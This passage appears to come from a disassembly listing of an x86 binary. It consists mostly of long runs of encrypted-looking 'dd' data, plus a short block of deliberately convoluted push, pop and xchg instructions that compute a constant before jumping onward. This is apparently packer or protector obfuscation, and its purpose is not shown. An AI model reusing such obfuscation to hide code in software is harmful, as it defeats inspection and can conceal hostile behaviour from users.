89EA81DFh, 8310DFFCh, 0FA18F9BDh, 850F0007h dd 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh dd 0EEC35343h, 5C3B8141h, 70144F50h, 35BD8363h, 7FA31h dd 9F840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0E21DFFC3h, 0E97AC146h, 5, 0D8131D36h dd 3DFE930h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 15BF23C3h, 0D731629Fh, 0AF48h, 0AE90000h dd 0A2000000h, 39F9C137h, 0E7143FFh, 57006A7Ch, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0B9660666h dd 0AB5D4F0Fh, 7ABB3627h, 0E95EC1E6h, 9, 0FE5D886Dh, 1E5A79D3h dd 0A841EAD9h, 24F34C68h, 4D1C8BB3h, 6EF4ECB3h, 0C7AEB5E9h dd 0CFF01FE7h, 55F0B9F7h, 0CF4CEB3h, 5DDAA4E1h, 1C21FD10h dd 0CB790135h, 49099151h, 0A6A276D9h, 4EF43BB0h, 1037C393h dd 4AD0BA3Ah, 4AD02332h, 4EF4B3AAh, 8378FF5h, 7AAF01ADh dd 67777990h, 0A6F43BB3h, 4EF49DBDh, 226B71FEh, 1984DC1h dd 777A3543h, 411CDB45h, 61F4ECB3h, 762C7DF9h, 0CEBF90F2h dd 1B99D645h, 15AE941Dh, 937EB74Ch, 4EF01E5Ah, 0E11758B3h dd 1BFCC52Eh, 4EF4765Bh, 0A37566B3h, 490B465Fh, 0A6A1CED9h dd 4EF467B0h, 1337EE93h, 4AD0B53Ah, 4AD0A832h, 4EF476AAh dd 94376EF6h, 2AE7F400h, 0CA4F9DA6h, 14D44989h, 0A6A5B3D9h dd 4EF4D9B0h, 1737B593h, 4AD03A3Ah, 4AD07F32h, 4EF49DAAh dd 0E3379FF2h, 0AC810277h, 8475D5DDh, 8E7FBEC6h, 4EF4E25Ah dd 3362B1B3h, 0D31C9BABh, 0C6DD1345h, 1ECFAC4Ah, 4EF4765Ah dd 0FFDA08B3h, 0E90F8527h, 0BE96C084h, 890BEBA0h, 4A7D7C2Fh dd 1CF4F797h, 4EF4CD5Bh, 8DAE47B3h, 6AA03AE9h, 6AB058B7h dd 4EF4F4B7h, 8DA634B3h, 7263BF93h, 0DD2F1DEBh, 6AB8CFBCh dd 4B7E684Dh, 28F4B3B3h, 1E693232h, 0B24F8AEBh, 4CF87325h dd 421C3BB3h, 3DF49DB3h, 5D58134Ch, 1015E06Ah, 0F50C2DFEh dd 2DB3E1F7h, 455B57E9h, 467F0AA3h, 0BD4334D3h, 0ACFA9709h dd 0A475AFE2h, 53FAB403h, 0B2BC38D5h, 9FE63B32h, 4F4CC759h dd 28F476B3h, 2865E238h, 1E25AA08h, 9389A709h, 9874F6B6h dd 9778D516h, 0A6A1D9D9h, 4EF4ECB0h, 13372B93h, 4AD0573Ah dd 4AD0D932h, 4EF4CEAAh, 0DB3732F6h, 6E31291Dh, 4EE630FEh dd 5F88ECB3h, 891473E7h, 31FB5224h, 0B1FFE23Bh, 5A86D0D6h dd 4EF4765Ah, 0F00781B3h, 62B33481h, 6F3B6961h, 5002DB50h dd 8F02CE6Eh, 827192B7h, 28F4CEB3h, 41ADB638h, 4EF4B630h dd 0FB5D62B3h, 7774F5EFh, 667179DBh, 0C4F43BB2h, 4B79924Eh dd 28F4CEB3h, 69008C32h, 24F5CA38h, 4D1C8FB3h, 6EF4ECB3h dd 0C7AAB5EDh, 0CFF01FC7h, 58F0B9F7h, 8F4CEB3h, 85B5A4E5h dd 4E0B32B4h, 4174D9B3h, 4EF40231h, 4EFE9FB3h, 19F13BB3h dd 0A18C889Dh, 0D1F1139Dh, 95F9E274h, 4EF5B44Ch, 4E9ED9B3h dd 4EF704E3h, 16D476B3h, 0A7D6370h, 0A759997h, 4EE2CA97h dd 1EB467B3h, 2434370h, 4EF4D05Bh, 529BC1B3h, 89F6998Fh dd 2894125Ah, 14956C38h, 4EF41E5Ah, 9C7501B3h, 0DA1DDDE0h dd 24F4D9B3h, 4D1CBCB3h, 6EF476B3h, 0C7ACF8EBh, 0CFF0B9F7h dd 58F0EAF7h, 0EF467B3h, 775070E3h, 170C530Fh, 0CD92B7E2h dd 410B7DCAh, 4EF45D37h, 1FF4F7B3h, 4EF4CD5Bh, 8DAD47B3h dd 6AB83AEAh, 6AB058B7h, 4EF4F5B7h, 8DA537B3h, 0E46281A7h dd 0C8FB1114h, 4EF4CEB6h, 0DBCF7008h, 4C71BCD8h, 0FDF4D9B3h dd 43712B1Fh, 4FF38968h, 24F43BB3h, 4D1CCBB3h, 6EF4CEB3h dd 0C7AAA4EDh, 0CFF097C7h, 55F0FDF7h, 8F4ECB3h, 254FB5E5h dd 0B7DA5DFh, 0CF92C958h, 6427058h, 0A6A167D9h, 4EF4B3B0h dd 13378493h, 4AD0803Ah, 4AD03232h, 4EF43BAFh, 0B637C8F6h dd 5E6F540Fh, 966A4A5Eh, 1C0302D3h, 2FAA2A38h, 3E6DD5h dd 80BDCF67h, 0CB796DA4h, 490B7D6Fh, 9010733Eh, 0B6CF604Ch dd 41C4B4C7h, 0A5B31062h, 4EFA0546h, 197976B3h, 0B4BA5555h dd 0B53621B3h, 0A32B592Eh, 4EF46A5Ah, 10A91BB3h, 0E876BFA2h dd 0A228A137h, 0F3777678h, 490E085Eh, 0C87092B2h, 24F4CEB3h dd 4D1C30B3h, 6EF4B3B3h, 0C7AB1AECh, 0CFF0C8CFh, 5AF052F7h dd 9F43BB3h, 0CFD85EE4h, 0FD06C50h, 0B749E4AAh, 4EF349ABh dd 4EA35CBCh, 4E9EECB3h, 4EF79EE0h, 15D43BB3h, 127DC670h dd 0A75CA97h, 4EE26397h, 1DB7B3B3h, 2DA4D970h, 9C758AE2h dd 0CDAEBA38h, 0B4C50E0Eh, 0CAFB9DB4h, 4EF4CE9Eh, 0A6A667D9h dd 4EF4B3B0h, 14378393h, 4AD0B83Ah, 4AD03232h, 4EF43BA7h dd 0D37CFF1h, 4EF74FBCh, 0A87467B3h, 4E185AEAh, 0A574D9B3h dd 0A3496FE1h, 4FF38C80h, 4E61BEBCh, 4E9E9DB3h, 4EF726E5h dd 10D467B3h, 3A7DED70h, 0A75DD97h, 4EEFE897h, 18B276B3h dd 44A0070h, 40BA6747h, 24A93BB0h, 4D1C30B3h, 6EF4B3B3h dd 0C7AB1AECh, 0CFF0C8CFh, 56F052F7h, 9F43BB3h, 0B2F25EE4h dd 411D0E40h, 2437B70Ch, 4D1CE5B3h, 6EF4D9B3h, 0C7AA2FEDh dd 0CFF052C7h, 5BF01FF7h, 8F49DB3h, 81E10DE5h, 0A742B033h dd 4EF4B3DDh, 0A6A2D9D9h, 4EF4ECB0h, 10372893h, 4AD04F3Ah dd 4AD0D932h, 4EF4CEA9h, 0AF3731F5h, 0B7EEA024h, 0CF92DDDFh dd 13B7DC50h, 0A6A476D9h, 4EF43BB0h, 1637C593h, 4AD08A3Ah dd 4AD02332h, 4EF4B3A5h, 213789F3h, 0EC4FDBDAh, 8186D3FBh dd 0A6A23BD9h, 4EF49DB0h, 10379093h, 4AD0133Ah, 4AD0F732h dd 4EF4D9A9h, 0C537BAF5h, 761128BAh, 0F379BD77h, 490B46EBh dd 0AE5D433Eh, 534C604Ch dd 7D8F89EFh, 0B4E8D836h, 8F3BC7B4h, 80BDCF5Ah, 0CB796DA4h dd 490B7D6Fh, 9010733Eh, 0B6CF604Ch, 41C4B4C7h, 0E9831062h dd 83A4F305h, 0FFDB0DBDh, 0D740007h, 4F668D8Dh, 1B807FAh dd 0FF000000h, 6A40E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 81687DC3h, 2CEF99Ch, 6A91D380h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 4696C350h, 0F6A61BDh, 380h, 0D08B6600h, 0E883A6B7h dd 56006A2Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 66F7426Eh, 0C08BD08Bh, 0FB8B5360h, 0BD83615Eh dd 7FA2ACDh, 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h dd 3FCB8h, 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h dd 99BD8358h, 7FA18h, 53501774h, 3FCB8h, 81858900h, 8D07FA15h dd 0FCDF2C9Dh, 5BD3FF07h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0D2B70FE1h dd 12E8h, 0E0F09900h, 0AA19B938h, 0CCF0F590h, 3025A0CBh dd 0B7F061C3h, 8B665A3Fh, 0E8C08BD0h, 0Dh, 423EF097h, 25C354A7h dd 0EB129031h, 3870FEBh, 0F000000h, 0E85FDFBFh, 14h, 68E1A926h dd 0AC26B8F5h, 317D19F2h, 96F0BF58h, 2C8806A0h, 0F850Fh dd 0AE90000h, 22000000h, 962CCB38h, 3FCF0304h, 0C7815ED3h dd 5F54h, 0BADEBF0Fh, 0 dd 0C8BE3B7h, 0F5605017h, 5E61C38Bh, 4B49F181h, 0BE868E1h dd 0E7000000h, 0AD866181h, 78A1C07Bh, 816686DBh, 5E0603DBh dd 8BFFE981h, 83B87786h, 810810D0h, 0EA05D3F1h, 0C78B663Dh dd 0F3BF0F51h, 0E917048Fh, 6, 0D2949F77h, 0F60FC7Dh, 8166D3BFh dd 61C809EEh, 0F03EA83h, 0BB4AC3B7h, 4257D03h, 0A1A8FA81h dd 850FFFFFh, 24h, 10E9h, 8BB7C500h, 22DF6604h, 0ED18204Ah dd 825DC465h, 22E9ABh, 0D95D0000h, 5FE74499h, 0AFA6AFEFh dd 0FF68E9F8h, 7CD2FFFFh, 0CA7E00ACh, 1A473B42h, 21F44785h dd 79785F1Ah, 0BE9h, 0FD35CE00h, 809E017Dh, 7Ch, 0CC2E9h dd 0E4406800h, 0EDE907FFh, 68FFFA9Bh, 7FFE52Ah, 0FA9BE3E9h dd 0E66B68FFh, 0D9E907FFh, 68FFFA9Bh, 7FFE787h, 0FA9BCFE9h dd 0E93E68FFh, 0C5E907FFh, 68FFFA9Bh, 7FFEBBFh, 0FA9BBBE9h dd 0ED4868FFh, 0B1E907FFh, 68FFFA9Bh, 7FFEE21h, 0FA9BA7E9h dd 7B23F3FFh, 247A9845h, 0CAD441EEh, 7628E794h, 207E9340h dd 1A01B6EAh, 0C471A7F7h, 6B184E50h, 16C3F9A5h, 9C6BA1FDh dd 66C52844h, 85EB07E6h, 1092BCCEh, 0D0D4534Bh, 3ED58228h dd 9A7BD060h, 0AEB88A04h, 44DDF0FBh, 6DA60B9Eh, 0EF9AFB31h dd 2BC5E171h, 5707E102h, 0E04773FEh, 0EA07E100h, 70A8AF69h dd 0E406F09h, 30h, 0CA96F39Fh, 70A5FA3Ah, 0D47AA32Eh, 0E09B9260h dd 0A7379007h, 0BE637B7Dh, 7218E1C4h, 0DB4CB3DFh, 0D55607E0h dd 0E6DC141Bh, 0A37A406Eh, 0B000000h, 0A7326CA7h, 44CFCF42h dd 0DF6A34DFh, 0CF05997Ah, 0E687C55Bh, 0F8A66DFFh, 0A0FE15C2h dd 0D38DFC15h, 0CDD90343h, 7BDEFAADh, 0A9FFE6A7h, 751BD650h dd 0B755C96Fh, 0E307E18Eh, 96F3548Ah, 0DB1E3ACAh, 90FDE30h dd 46CB20B0h, 9C752258h, 41624402h, 84BF9998h, 0AD8E5h dd 6F2FE700h, 18868C39h, 0BEE035E2h, 6A34DB88h, 148A8734h dd 0EF5AADEh, 0B8659B03h, 5F0C425Ch, 0AB7EDB1h, 905F9509h dd 67B91C38h, 81E707E6h, 346AA7CAh, 0B5C251FEh, 0E6833699h dd 8EF10DFFh, 0B4FFE683h, 58C11A5Bh, 96F36B22h, 501E3ACAh dd 4E07E09Ch, 88FE45E4h, 0C756821h, 60EE5581h, 77F807E1h dd 6D7EB6BDh, 0DE1C406Fh, 0AD000000h, 0A7326CA7h, 8CA8CF42h dd 0FFE68329h, 0A95FE57h, 0F1AD65BAh, 23973D66h, 0FFE6888Dh dd 0A405EB5h, 58E8B65Dh, 0EC920C03h, 17494059h, 22F24787h dd 5CC8F17Ch, 0FFE686F9h, 288BA727h, 4EFFE687h, 4EE68CF5h dd 0E0A89432h, 0A3D93207h, 89194742h, 0DD86196Dh, 5CEC450Fh dd 186D0A07h, 0ED16A1FDh, 0ED7E1E81h, 82EB44FFh, 0F0729F4Ch dd 54127B23h, 99989344h, 0EEEB8AC5h, 0D1000009h, 76235945h dd 1FCC029Ch, 0C572A8F6h, 711E544Ah, 94C8FEA0h, 8519F8DFh dd 2C72A24Fh, 0D7C749F6h, 7F1FF4A1h, 6227A49h, 7E668A3h dd 0BCB46BD1h, 61F1AD67h, 0E682E245h, 11B710FFh, 0BBF1AD64h dd 999050Eh, 0B23D61B4h, 4DD8C64Dh, 0D715BB24h, 4229153Fh dd 2CE5E96Ch, 27A1E34Dh, 2ED45680h, 326CA777h, 0CDD142A7h dd 0D533697h, 0B6E7617Dh, 0A2FB07E0h, 0B685EB17h, 0C54D07E0h dd 29E94ED9h, 9DCEEA75h, 55D63BE3h, 0BE5C949Bh, 7CFA406Eh dd 8B000006h, 3ACA96F3h, 0E0A07C1Eh, 7A952A07h, 8967F24h dd 81E8149Fh, 8B07E09Fh, 1149500Ah, 0AF406EA7h, 657h, 0CA96F340h dd 8B001E3Ah, 459E07E0h, 22FE8BB5h, 0AC9B641h, 3EA5D164h dd 4807E0C3h, 0CE060DC7h, 6C406ECBh, 62Fh, 0BB657BFDh dd 0E60292CEh, 7E089E4h, 94E979D2h, 69921D81h, 9C1A7EC3h dd 3293F5B3h, 63C6E257h, 2D8BD5B2h, 0E479BAE4h, 0BEE7722Ch dd 405CEC55h, 93CFBB7Eh, 4E50C015h, 0ABF49AC3h, 0DBAEC752h dd 54D9F585h, 8293F5E5h, 107925EDh, 0B6E82B80h, 5E40D380h dd 717502A0h, 2DCC0712h, 8ADh, 649A0412h, 0D435BB7h, 0B3E9B560h dd 5F950906h, 93F5FB2h, 0DA3720D5h, 33E18EC4h, 8888356Bh dd 0E033E016h, 61B988BEh, 0E668E245h, 0F3AA1007h, 0A7326CA7h dd 0D565FB8Eh, 0D6395595h, 0FCFFE683h, 1289FDA3h, 0C007E666h dd 65C12440h, 96EF07E6h, 4C83F72Dh, 0F207E665h, 910D0663h dd 0EC80D701h, 0B5C361C3h, 1D70D10Fh, 6989B343h, 8920ACC2h dd 0B062FA74h, 4947F5A5h, 76CB0BA3h, 0E85C029Ch, 7E6418Dh dd 75CA5AB3h, 4A73FEA0h, 67AC11A4h, 368D0137h, 1507E641h dd 4156B9D5h, 237C07E6h, 3740D07Dh, 36F2FE2h, 7E641A0h dd 0CE046DC6h, 86CB0C36h, 9F874B0Eh, 0D7C74CF9h, 811DF247h dd 9427CDF6h, 0E6700168h, 0F1ABEC07h, 6298060Dh, 0B5405EB5h dd 0E6A02289h, 0DC96BFF7h, 4D831BF8h, 11566h, 6CA7FF00h dd 46700321h, 73DC6D88h, 118D83E8h, 31E13686h, 13B9E26Dh dd 0E7663C9Fh, 910D06FFh, 0C49CED06h, 49A11834h, 0D62F07E7h dd 61699418h, 9B3A759Eh, 791h, 80B6E82Eh, 295F3FD3h, 0CF05997Ch dd 7BB1ED22h, 255B43CEh, 0BE533CF1h, 17FDAAE0h, 6CA45187h dd 0C44FFC32h, 7DD5A4DAh, 0E669FE61h, 7BE2407h, 0EF0B6CA7h dd 0FFE6838Ch, 3B9250BAh, 86D532D5h, 0C429B41Dh, 6CC1514Dh dd 1553F9A5h, 8BEC287Dh, 0E6CE0C6Fh, 78E13AFFh, 0B3EB25D2h dd 5B43D07Dh, 5997825h, 0A2FC157Ah, 10CAFB17h, 83B9E52Ch dd 74DA7BB3h, 71938h, 6DAA0000h, 0C5h, 326CA706h, 0FB1757A7h dd 0FFE68398h, 4BBF65BEh, 0FFE692E4h, 0B23D61AEh, 4FDAC44Dh dd 9380E3FFh, 4DA6FFE6h, 30D892BBh, 0AC7B355Eh, 3CE2BC57h dd 32DE848Fh, 4FB8E16Ch, 0FAA46C19h, 0A2FC156Ah, 0B548EE17h dd 0E6932389h, 0AAEA32FFh, 0E6932B8Eh, 5A0059FFh, 0D53B1FD9h dd 0B11A848Dh, 69A7C47Bh, 305AAA35h, 7C1FB9DCh, 7D2AD006h dd 3B7B0B93h, 0E6FFBC1Fh, 0EB91EAFFh, 0B4F43C58h, 0E6FF3598h dd 5C025BFFh, 0D33D21DBh, 572195CBh, 23FFE708h, 0BCD13E93h dd 539DCB5Ah, 0B33EA736h, 7BDEFA8Ah, 0A9FFE72Fh, 9FDAAA50h dd 3F387537h, 0FFFFFE9Ah, 0A967BCD0h, 4274FFE4h, 4DB6D062h dd 0CF399C2h, 36Fh, 326CA7A5h, 83247BA7h, 0B8E1FFE6h, 69F91AFEh dd 0FE8EF7A7h, 6AC027D4h, 0E827090Fh, 99022BB6h, 0B08B5F3h dd 78B80893h, 4F3A0C4Eh, 309C6048h, 0FFE759CDh, 80F49AF3h dd 0FFE75929h, 0BD90BEE8h, 5208FED3h, 8A14FFACh, 0BDA3E6FFh dd 0E59A112Dh, 0CFF907E6h, 7D96597Eh, 70E5A721h, 4B46BF39h dd 0ABC95789h, 0A563BC05h, 9E61572Bh, 0DA1EBDF8h, 0E5000005h dd 8A376D31h, 33E01688h, 0D986BCE2h, 85326836h, 0A8DC128Ch dd 99050CF3h, 405EB663h, 0EBB35D0Ah, 930B08B5h, 1A368E5Dh dd 7E66CB7h, 0A7C077DDh, 591EF66Ch, 0E683DA3Dh, 46AF08FFh dd 83379AB6h, 45DFFE6h, 66AB109Bh, 8392F511h, 67C0FFE6h dd 0F81BC8FEh, 90F9A56Ah, 3A64AD5Ah, 0D7C74AAFh, 0BEE8304Ch dd 5C78EA4Bh, 0FFE6E2F9h, 0B154CE27h, 0DE5F05F2h, 0CDD14024h dd 0F48FC797h, 782D3874h, 0BE000002h, 3BC69AF3h, 0D582960Fh dd 5B43CCFEh, 0B8AA6BD0h, 8FB8435Bh, 20499B26h, 0C159BE66h dd 0E8C5A597h, 32D80A84h, 0B8F0F7B1h, 5637630Bh, 247h dd 8A9AF3E7h, 20B01985h, 0CD5846CBh, 8C12FFA4h, 9A32D801h dd 0E6831B7Eh, 65F049FFh, 0D582C039h, 0C78102FEh, 399CB8F8h dd 67FED581h, 0F8A6690Eh, 0CE9E446Dh, 37638996h, 20A34h dd 9AF3C500h, 8D18868Ah, 4DB6E828h dd 0F81454E4h, 0FFE68395h, 0C2CE7F82h, 8DCE1F7Ah, 0F6811DF8h dd 51BF64CDh, 0F399C24Dh, 18E03F5Bh, 0A5FEFFE7h, 1775EE1Ah dd 24EBFED6h, 878AEF7Ah, 113A8C17h, 0B24AAF57h, 5FEAB45Dh dd 550F9036h, 0E8DD5C86h, 6801EF5h, 18BE9B6Ah, 629C1048h dd 1A9AE37h, 0F33F0000h, 0F636C69Ah, 0E68377DAh, 9F449DFFh dd 0EB832975h, 0E68374CFh, 0AE3992FFh, 0D5820982h, 7C36B7FEh dd 0EE516DADh, 14FED580h, 7F0A947Fh, 7747ED56h, 3763893Fh dd 16EDDh, 6CA76E00h, 0F6811DF6h, 89D964CDh, 34BFDF34h dd 5BB8650Bh, 0DDAC0D43h, 4EC9F383h, 9BC391CEh, 0A3596006h dd 3CA5B351h, 48E2FE96h, 5E07E0D7h, 0E74E7A05h, 0F107E085h dd 0A5332F59h, 994B576h, 5928E263h, 5ABDD919h, 8807E08Eh dd 8E60C32Fh, 2D8607E0h, 967FB787h, 441D406Eh, 0AE000000h dd 3ACA96F3h, 9B3AD0FAh, 91334E7Dh, 0AF29E8D5h, 3FE5F491h dd 0E106FDCBh, 8B85DA07h, 8F246D13h, 29B41D81h, 4C7FAFD9h dd 0AA247A97h, 52F82FA4h, 0E12977DEh, 46008107h, 6F35073Fh dd 9BA540h, 0BC360000h, 1B8C527Ch, 159ADCFh, 0E7533295h dd 610760FFh, 0B43F5FB4h, 51DCC24Fh, 0EC7727ECh, 0DC128C87h dd 0E757D268h, 0B95CB1FFh, 81923FE5h, 386E71Dh, 0DBB1CD5Dh dd 707E436h, 92FBA372h, 3A64AD02h, 0E4BA5704h, 62635E26h dd 95346F9Eh, 359h, 0B8EEB066h, 6197070Bh, 73D61B4h, 0B3E9B55Ah dd 5D930B06h, 868B7429h, 0DF35E218h, 34DC89BFh, 8C87346Ah dd 0B50DDC12h, 0E66E3699h, 3FF65C07h, 1AF86AA7h, 38E51B84h dd 1D809CDBh, 43FFE683h, 0D4CA45EAh, 81B72049h, 326CA7CAh dd 120257A7h, 0DA39E68Ch, 0A1F68EC4h, 10842A74h, 0FFE683AAh dd 797C9C0h, 19D72C7h, 33A74D76h, 7E08C49h, 8816F94Eh dd 0E52ED4FDh, 0A79F568Ch, 62A2326Ch, 0E682E346h, 12B811FFh dd 3BDA2F7Fh, 310BD63h, 8504659Bh, 833598B4h, 0DB5BFFE6h dd 0E6835CBFh, 0C8318AFFh, 738FCF5Fh, 0FFE68310h, 9F37DD36h dd 0E0ADE983h, 19A4FD07h, 0E0AD86EDh, 550F9007h, 6EB5164Eh dd 36B440h, 0F3450000h, 0E53ACA96h, 7D85D30h, 0F3179F1Bh dd 304CE48Ah, 7E12A62h, 709C2780h, 7E11909h, 0D1D89213h dd 406F2599h, 0C1244080h, 0EF07E10Dh, 0C30FF096h, 0A0000000h dd 0A2326CA7h, 0A2703862h, 78D124B3h, 0E6CAA90Ch, 0D87ED7FFh dd 6D31E045h, 8967DE2h, 3DD82D7Dh, 50EBB61h, 59EF6399h dd 36FFE6CFh, 0DF3230E1h, 0A20B34BFh, 9B48EE17h, 43F02678h dd 0F1CBDD0h, 46D3F25Fh, 0AD0252DDh, 82AB3668h, 2B0E7BDCh dd 0E6CDAC0Fh, 1881DAFFh, 0E2866C88h, 3B6507E0h, 27B71E74h dd 8CD57B29h, 0ED9CFD33h, 0EBC7E373h, 130FDE04h, 3CD52ABAh dd 927F2C62h, 15AC4E0Ch, 528D9998h, 1D0B3h, 7727EF00h dd 207E9441h, 0C6D83DEAh, 722CE390h, 1C828F3Ch, 16FDB2E6h dd 0C06DA3FBh, 67144A54h, 12BFF5A9h, 98679D01h, 70C12440h dd 89EF07E6h, 346AA7D2h, 0DCC251FEh, 96F3EFA6h, 501E3ACAh dd 4E07E09Ch, 0C51A6AF5h, 9FC8534Bh, 9B1E85F9h, 0A72807E0h dd 0A7AEE6EDh, 0C84C406Eh, 0DD000000h, 0A2326CA7h, 36DCC24Dh dd 0CBD33EA3h, 779BF040h, 0CD739C27h, 0E687C359h, 0F6A86BFFh dd 9E0013C0h, 4658B90Eh, 59EC92BBh, 87174940h, 3B9FF85Dh dd 0B1577503h, 8417FD19h, 0EA4307E1h, 627F305Ah, 49E81CC2h dd 0E0E1CA2Dh, 369FF807h, 98F15290h, 0E11C38C8h, 0FF0FDDC0h dd 5AB7AB6Ah, 2790B944h, 38D92EBEh, 2BB6E82Ah, 0B6639902h dd 0E985435Bh, 0BA9998E9h, 0F7E07Fh, 4EC80000h, 0A56D1A50h dd 0FF16C3F9h, 53BC699Fh, 0A968154Bh, 0D68BBFF5h, 447A24EDh dd 0EB217D97h, 96CCD23Eh, 3E742AE9h, 98FB176Fh, 0BE07E671h dd 6AA7A158h, 4864A434h, 0FFE682E5h, 0CE0CB20Bh, 76ACF221h dd 138B89DEh, 6CF7A76Eh, 0A7E69D43h, 42A7326Ch, 1970BCD1h dd 6AFD16B3h, 1F6ACB01h, 0C94A8630h, 0FC18F6EBh, 0FFE6F099h dd 9C056EC7h, 0D375F00Ch, 0F24B07E6h, 0BBD71767h, 7E61258h dd 18A3FB1Ah, 0AF55AEEFh, 578D1102h, 0F20E69AAh, 7E6128Fh dd 2C00E97Ch, 0FC3D67E9h, 0CBA98892h, 359EE24Ah, 0B1F141CCh dd 0E5DB3295h, 61076007h, 0E8A147EDh, 28E21B81h, 99CFCF44h dd 0EC7727ECh, 8B168887h, 29B4EA26h, 0C5504EC4h, 0A8500A33h dd 0FF3ADD6h, 0B7649A04h, 5DB2425Ch, 365FEAB4h, 911C8291h dd 0DF2FC268h, 2020839Fh, 0ED467DE4h, 36047h, 0BBF90000h dd 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h dd 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h db 85h, 52h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp] pop esp push 322Bh mov [esp], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edx push ebx mov ebx, 41B66142h sub ebx, 7BFA5A11h not ebx inc ebx inc ebx sub ebx, 32441584h mov edx, ebx pop ebx mov esi, edx pop edx push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- db 0D9h dd 0B88C0252h, 7FFEF3Dh, 0E0FFC503h, 5A2E18A0h, 1714766Fh dd 71D9CFE9h, 5BCA95C1h, 0D3EE73Bh, 1C69969Ch, 4160F67Bh dd 31BAFB31h, 6CBE426Eh, 54E564A7h, 798AFE30h, 23531CD5h dd 5DAB3CA4h, 708A9B3Eh, 10DB1D2Eh, 7347D7Eh, 54FD1BE8h dd 79D2AA5Bh, 48E9h, 3E301F00h, 2Eh, 0C51C5700h, 6148434Ah dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h dd 0F4C7009Dh, 6063921Dh, 0DE19h, 6 dup(0) dd 0B0CE900h, 0AE680000h, 0E907FFF1h, 0FFFA8E88h, 0FFF2BA68h dd 8E7EE907h, 0A968FFFAh, 0E907FFF3h, 0FFFA8E74h, 0FFF46368h dd 8E6AE907h, 3568FFFAh, 0E907FFF5h, 0FFFA8E60h, 0FFF61E68h dd 8E56E907h, 0B468FFFAh, 0E907FFF6h, 0FFFA8E4Ch, 0FFF8B568h dd 8E42E907h, 0C468FFFAh, 0E907FFF9h, 0FFFA8E38h, 0B4EAB462h dd 5D930B07h, 33965B0h, 0AFE5B956h, 598F0F02h, 8A877025h dd 0E331DE14h, 38D885BBh, 90833066h, 0B109D80Eh, 0E6733295h dd 43FA6007h, 3ACA96F3h, 0E673F01Eh, 0BB59EE07h, 0CA336BA7h dd 6539DA3Fh, 0AE0393FCh, 7FA93965h, 97B3A486h, 7E59D34h dd 2A8F0962h, 9AD87E45h, 16BED802h, 0FC99A801h, 92ED506Ch dd 0BA1307E5h, 0F2AC6714h, 0BBD71767h, 7E59358h, 7995257Eh dd 7E59316h, 0DC3DE33Ch, 0E323B3ADh, 8E19858Eh, 4BBF65h dd 0D70FE583h, 1B376D97h, 0EAEB967Ah, 0E6E51B7Eh, 4AF049FFh dd 0C318A801h, 6B184E50h, 526BF6A8h, 83E60237h, 0B1FFE6E5h dd 0E5B21531h, 87E0FFE6h, 0F728E1Eh, 35FFE6E5h, 0A3E373DCh dd 5D041A79h, 50F5B0A1h, 2851DCC2h, 0D3AC0E82h, 368B07E0h dd 113AC5D9h, 0BC9226Bh, 9E64514Eh, 0F147E621h, 55000008h dd 0FAA7DDC1h, 0A3508618h, 49F62C72h, 0F5A2D8C6h, 184C821Ch dd 9957C63h, 0B0EE26D3h, 5B43CD7Ah, 39B7825h, 8AA6FECDh dd 7E67427h, 0A730E74Dh, 42A7326Ch, 3697CDD1h, 3D7D0D53h dd 0A1C85E13h, 8F3438E0h, 3771D81h, 7E15D69h, 3F94247Dh dd 9023C9D5h, 0E107FD64h, 0CC860707h, 6F108DC5h, 2C2B40h dd 0F3BC0000h, 0E53ACA96h, 35CD732Bh, 0E09C4B19h, 73FE5707h dd 0E09AE047h, 0AF69EA07h, 6EA770A8h, 0BF0E40h, 69BE0000h dd 3F68F3ABh, 6CA7E299h, 0CF42A732h, 34DF44CFh, 997ADF6Ah dd 0F3207505h, 0A2EE5F9Ah, 359EBB4Ah, 73DD518Fh, 0BFFE6B8h dd 0B3609608h, 63B33E60h, 1209CF39h, 0E0FC5BCFh, 0FFE7557Dh dd 3BE14AA3h, 21B1AFDAh, 0E1766705h, 84BA1307h, 257997ECh dd 0E46B1E7Fh, 908E464Bh, 0EB7BE4AEh, 0DD8A8CCFh, 0D161BA0Fh dd 43CD957Ch, 43ACF21Fh, 0F0268FB8h, 12D0CE43h, 9998983Dh dd 0E544E31Eh, 61000007h, 6B3E9B5h, 0AF5C920Ch, 55023866h dd 1AEE4BAh, 24588E10h, 1589886Fh, 0BCE232DFh, 6737D986h dd 0F8F8431h, 96B20AD9h, 7E67533h, 0A744FB61h, 51FE346Ah dd 0EA6DCC2h, 9F4559B9h, 0A967BCE8h, 9B416AF5h, 81114F3Ah dd 0E09B9765h, 0F11F7407h, 53F922ADh, 0FA26B10Ah, 7E09B93h dd 0A9C5059Dh, 7E09B46h, 0EC6D136Ch, 0A6F32B32h, 0CF91406Eh dd 22000000h, 0A2326CA7h, 4DD8C64Dh, 86EB7E24h, 5C88138Bh dd 0FFE686F2h, 0D9C54CA1h, 118D8633h, 25EE43DBh, 0ED26D379h dd 81D626B1h, 8690F8Fh, 334FDF81h, 7E0A795h, 16888DE2h dd 73BC628Bh, 683E41Ah, 608ACA5Ah, 79BD7E7Ah, 67E0BC79h dd 0B40FBA34h, 0F549BD63h, 210FDD8Bh, 0AC15898Ch, 544AC71Ch 